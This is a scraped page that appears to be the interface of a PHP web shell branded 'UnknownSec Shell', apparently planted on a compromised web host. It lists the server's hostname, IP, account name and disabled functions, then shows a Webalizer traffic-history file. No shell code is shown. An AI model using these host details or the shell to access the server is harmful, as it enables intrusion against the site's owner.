shell bypass 403

UnknownSec Shell

Uname: Linux gains.arrowcloudlinux.com 4.18.0-553.22.1.lve.1.el8.x86_64 #1 SMP Tue Oct 8 15:52:54 UTC 2024 x86_64
Software: Apache
PHP version: 7.4.33 [ PHP INFO ] PHP os: Linux
Server Ip: 131.153.51.35
Your Ip: 3.145.88.241
User: az2015 (2658) | Group: az2015 (2661)
Safe Mode: OFF
Disable Function:
allow_url_include,show_source,symlink,system, passthru, exec, popen, pclose, proc_open, proc_terminate, proc_get_status, proc_close, proc_nice, allow_url_fopen, shell-exec, shell_exec, fpassthru, base64_encodem, escapeshellcmd, escapeshellarg, crack_check, crack_closedict, crack_getlastmessage, crack_opendict, posix_kill, posix_mkfifo, posix_setpgid, posix_setsid, posix_setuid, dl, escap,phpinfo

name : webalizer.hist
# Webalizer V2.23-08 History Data - 22/Dec/2024 04:48:42 (120 month)
12 2024 433124 427891 6786 3932778 1 22 14350 1636
11 2024 274985 264211 9564 2123455 1 30 113194 6016
10 2024 322268 304066 21106 2436293 1 31 23632 4958
9 2024 111797 95563 16121 1030904 1 30 5453 2521
8 2024 67628 54262 18829 740132 1 31 4815 2263
7 2024 90015 77077 19010 1062213 1 31 4035 1779
6 2024 81084 63399 18964 1100130 1 30 5981 2358
5 2024 51761 34904 14300 822502 1 31 5563 2115
4 2024 53293 38835 14317 851665 1 30 3682 2265
3 2024 42725 28523 11190 832117 2 31 3110 1873
2 2024 68094 44115 17115 932540 1 28 3528 2086
1 2024 53733 37763 15744 670773 1 31 2951 2024
12 2023 53571 39915 14608 778924 1 31 4276 2189
11 2023 64644 50397 4384 1543430 1 29 5012 2418
10 2023 43136 32979 3431 1378633 1 31 2961 1996
9 2023 40787 32437 3045 1283284 1 29 2946 2017
8 2023 46568 34631 3281 1455136 1 31 3595 2200
7 2023 54578 45667 6528 1620329 1 31 2530 1902
6 2023 67680 57440 5949 1829613 1 30 2667 1906
5 2023 81807 68346 6240 1939806 1 31 2895 1799
4 2023 53295 43026 3196 1654362 1 30 2870 1780
3 2023 80784 57680 3222 2443757 1 31 4353 2113
2 2023 96515 47478 3265 1866844 1 28 9115 2151
1 2023 55395 41922 3431 2158121 1 31 3883 2061
12 2022 49476 41278 3371 2161128 1 30 2419 1587
11 2022 51628 43555 2900 2242823 1 30 3044 2120
10 2022 48689 40132 3020 1933267 1 31 3452 2369
9 2022 50519 41657 2893 2108217 1 30 3333 2324
8 2022 49757 42693 2757 2070762 1 31 3050 2248
7 2022 48950 40872 2755 2007050 1 31 3416 2281
6 2022 46416 39199 2574 1915203 1 30 2832 2141
5 2022 43969 37249 2734 1820938 1 31 2873 2187
4 2022 43350 35507 2582 1492989 1 30 2865 2156
3 2022 46566 38813 2902 1859672 1 31 3118 2408
2 2022 43253 36097 2420 1605249 1 28 3113 1969
1 2022 45982 37845 2707 1807228 1 31 3112 2233
12 2021 42679 34946 2697 1945890 1 31 2879 2208
11 2021 50550 41975 2688 2191694 1 30 3312 1930
10 2021 48831 41550 2948 1980690 1 31 3498 2402
9 2021 51011 41730 3149 2145374 1 30 3121 2316
8 2021 53867 42562 2996 2438962 1 31 3303 2377
7 2021 47804 39476 3084 2052443 1 31 3092 2357
6 2021 46667 37758 2971 1747921 1 30 3176 2356
5 2021 40927 33119 2794 1583540 1 31 2957 2270
4 2021 53711 44003 3044 1940449 1 30 3115 2325
3 2021 47130 39199 2969 1888048 1 31 2944 2161
2 2021 44000 36718 2539 2055928 1 28 2317 1805
1 2021 51889 43877 2722 2480605 1 31 3098 2207
12 2020 48679 40800 2930 2168725 1 31 3177 2431
11 2020 40375 33754 2498 1715499 1 30 3202 1993
10 2020 40655 33793 2396 1772935 1 30 2546 1961
9 2020 42399 35550 2680 1686292 1 30 2929 2097
8 2020 85391 77047 3011 2023023 1 31 31747 2447
7 2020 46916 39588 2752 1904536 1 31 3565 2354
6 2020 44002 36415 2207 1969843 1 30 2775 2029
5 2020 30041 24884 2189 1141971 1 31 2476 1928
4 2020 29258 24046 2047 1173855 1 30 2547 1940
3 2020 39630 32632 2920 1656674 1 31 2878 2212
2 2020 35463 28329 2895 1571400 1 29 2778 1852
1 2020 37057 29614 3056 1596908 1 31 3007 1979
12 2019 34442 28958 3194 1689183 1 31 2483 1944
11 2019 35618 29939 3022 1759855 1 30 2375 1690
10 2019 33845 27571 3024 1595315 1 31 2292 1800
9 2019 9189 7670 1091 433969 23 30 569 471
8 2019 0 0 0 0 0 0 0 0
7 2019 0 0 0 0 0 0 0 0
6 2019 0 0 0 0 0 0 0 0
5 2019 0 0 0 0 0 0 0 0
4 2019 0 0 0 0 0 0 0 0
3 2019 0 0 0 0 0 0 0 0
2 2019 0 0 0 0 0 0 0 0
1 2019 0 0 0 0 0 0 0 0
12 2018 0 0 0 0 0 0 0 0
11 2018 0 0 0 0 0 0 0 0
10 2018 0 0 0 0 0 0 0 0
9 2018 0 0 0 0 0 0 0 0
8 2018 0 0 0 0 0 0 0 0
7 2018 0 0 0 0 0 0 0 0
6 2018 0 0 0 0 0 0 0 0
5 2018 0 0 0 0 0 0 0 0
4 2018 0 0 0 0 0 0 0 0
3 2018 0 0 0 0 0 0 0 0
2 2018 0 0 0 0 0 0 0 0
1 2018 0 0 0 0 0 0 0 0
12 2017 0 0 0 0 0 0 0 0
11 2017 0 0 0 0 0 0 0 0
10 2017 0 0 0 0 0 0 0 0
9 2017 0 0 0 0 0 0 0 0
8 2017 0 0 0 0 0 0 0 0
7 2017 0 0 0 0 0 0 0 0
6 2017 0 0 0 0 0 0 0 0
5 2017 0 0 0 0 0 0 0 0
4 2017 0 0 0 0 0 0 0 0
3 2017 0 0 0 0 0 0 0 0
2 2017 0 0 0 0 0 0 0 0
1 2017 0 0 0 0 0 0 0 0
12 2016 0 0 0 0 0 0 0 0
11 2016 0 0 0 0 0 0 0 0
10 2016 0 0 0 0 0 0 0 0
9 2016 0 0 0 0 0 0 0 0
8 2016 0 0 0 0 0 0 0 0
7 2016 0 0 0 0 0 0 0 0
6 2016 0 0 0 0 0 0 0 0
5 2016 0 0 0 0 0 0 0 0
4 2016 0 0 0 0 0 0 0 0
3 2016 0 0 0 0 0 0 0 0
2 2016 0 0 0 0 0 0 0 0
1 2016 0 0 0 0 0 0 0 0
12 2015 0 0 0 0 0 0 0 0
11 2015 0 0 0 0 0 0 0 0
10 2015 0 0 0 0 0 0 0 0
9 2015 0 0 0 0 0 0 0 0
8 2015 0 0 0 0 0 0 0 0
7 2015 0 0 0 0 0 0 0 0
6 2015 0 0 0 0 0 0 0 0
5 2015 0 0 0 0 0 0 0 0
4 2015 0 0 0 0 0 0 0 0
3 2015 0 0 0 0 0 0 0 0
2 2015 0 0 0 0 0 0 0 0
1 2015 0 0 0 0 0 0 0 0
© 2024 UnknownSec